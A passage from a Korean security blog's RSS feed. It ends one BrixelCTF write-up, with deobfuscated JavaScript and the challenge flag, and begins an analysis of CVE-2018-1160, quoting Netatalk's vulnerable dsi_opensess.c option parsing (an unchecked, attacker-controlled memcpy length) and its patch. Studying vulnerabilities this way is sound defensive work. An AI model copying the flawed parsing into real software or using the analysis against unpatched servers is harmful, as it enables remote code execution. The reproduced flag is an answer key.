#9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x5&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x14&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x12&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x2&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x0&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x13&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x8&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x4&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;password&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;?&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;alert&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'Password&lt;span style=&quot;color: #d7ba7d;&quot;&gt;&lt;/span&gt;Verified'&lt;/span&gt;)&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;alert&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'Incorrect&lt;span style=&quot;color: #d7ba7d;&quot;&gt;&lt;/span&gt;password'&lt;/span&gt;);&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 복붙하고 &lt;code&gt;newpassword&lt;/code&gt; 출력하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelctf{0bfuscati0n}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>CTF/CTF Playground</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/156</guid>
      <comments>https://mineta.tistory.com/156#entry156comment</comments>
      <pubDate>Wed, 6 Jan 2021 17:55:35 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2018-1160 [Netatalk]</title>
      <link>https://mineta.tistory.com/142</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CVE-2018-1160&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netatalk before 3.1.12 is vulnerable to an out of bounds write in dsi_opensess.c. This is due to lack of bounds checking on attacker controlled data. A remote unauthenticated attacker can leverage this vulnerability to achieve arbitrary code execution.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Environment&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netatalk 3.0 - 3.1.11&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;# Analysis&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Netatalk는 AFP (Apple Filing Protocol) 의 구현체이다. Apple 개발자 사이트나 레퍼런스 문서에서 AFP가 어떻게 동작하는지 확인할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/ojaBj/btqLcTVEyGd/yDsKMH5BDXPZB0p7w9a02K/Apple%20Filing%20Protocol%20Reference%20%28TP40003548%204.0.3%29.pdf?attach=1&amp;amp;knm=tfile.pdf&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;Apple Filing Protocol Reference (TP40003548 4.0.3).pdf&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;4.61MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;

&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size14&quot;&gt;(최신 문서를 찾을 수 없어서 이미 갖고 있던 2012년 버전만 업로드합니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은 DSIOpenSession 에서 option parse를 진행할 때 사용자 입력을 검증하지 않아서 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제가 발생한 곳은 libatalk/dsi/dsi_opensess.c 의 &lt;code&gt;dsi_opensession&lt;/code&gt; 함수에서 &lt;code&gt;DSIOPT_ATTNQUANT&lt;/code&gt; 를 parse 하는 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;br /&gt;33&lt;br /&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;parse&amp;nbsp;options&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;&amp;lt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;switch&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++])&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;case&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSIOPT_ATTNQUANT&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;memcpy&lt;/span&gt;(&amp;amp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;ntohl&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;case&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSIOPT_SERVQUANT&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;just&amp;nbsp;ignore&amp;nbsp;these&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;default&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;]&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;forward&amp;nbsp;past&amp;nbsp;length&amp;nbsp;tag&amp;nbsp;+&amp;nbsp;length&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;libatalk/dsi/dsi_opensess.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림으로 먼저 표현해 보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;590&quot; height=&quot;NaN&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;213&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxo3n1/btqK7ZCBR1a/adDRUOsx4Vi4irxPv0X7i0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxo3n1/btqK7ZCBR1a/adDRUOsx4Vi4irxPv0X7i0/img.png&quot; data-alt=&quot;Figure 1. DSIOpenSession option structure&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxo3n1/btqK7ZCBR1a/adDRUOsx4Vi4irxPv0X7i0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxo3n1%2FbtqK7ZCBR1a%2FadDRUOsx4Vi4irxPv0X7i0%2Fimg.png&quot; width=&quot;590&quot; height=&quot;NaN&quot; data-filename=&quot;Picture1.png&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;213&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Figure 1. DSIOpenSession option structure&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 첫 번째 바이트는 옵션의 타입을 지정하며, 이 값은 1일 때는 서버의 quantum을 설정하는 &lt;code&gt;DSIOPT_ATTNQUANT&lt;/code&gt;, 0일 때는 서버 측의 quantum 값을 요청하는 &lt;code&gt;DSIOPT_SERVQUANT&lt;/code&gt; 를 각각 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(서버 응답으로 항상 서버의 quantum 값을 전송하므로 &lt;code&gt;DSIOPT_SERVQUANT&lt;/code&gt;&amp;nbsp;옵션은 사실상 의미가 없다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;option length를 사용자가 직접 설정할 수 있다는 점을 기억해 둬야 한다. 이 길이값에 따라서 사용자가 원하는 크기의 데이터를 전송할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로, Netatalk 3.1.12 에서 이 루틴이 어떻게 패치되었는지 살펴보도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;br /&gt;43&lt;br /&gt;44&lt;br /&gt;45&lt;br /&gt;46&lt;br /&gt;47&lt;br /&gt;48&lt;br /&gt;49&lt;br /&gt;50&lt;br /&gt;51&lt;br /&gt;52&lt;br /&gt;53&lt;br /&gt;54&lt;br /&gt;55&lt;br /&gt;56&lt;br /&gt;57&lt;br /&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;parse&amp;nbsp;options&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;&amp;lt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmd&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_error&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_dsi&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;option&amp;nbsp;%&quot;PRIu8&quot;&amp;nbsp;too&amp;nbsp;large:&amp;nbsp;%zu&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;exit&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;EXITERR_CLNT&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;switch&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmd&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;case&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;DSIOPT_ATTNQUANT&lt;/span&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;sizeof&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsi&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;LOG&lt;/span&gt;(&lt;span style=&quot;color: #4fc1ff;&quot;&gt;log_error&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;logtype_dsi&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;option&amp;nbsp;%&quot;PRIu8&quot;&amp;nbsp;bad&amp;nbsp;length:&amp;nbsp;%zu&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;option_len&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;exit&lt;/span&gt;(&lt;span style=&quot;color: 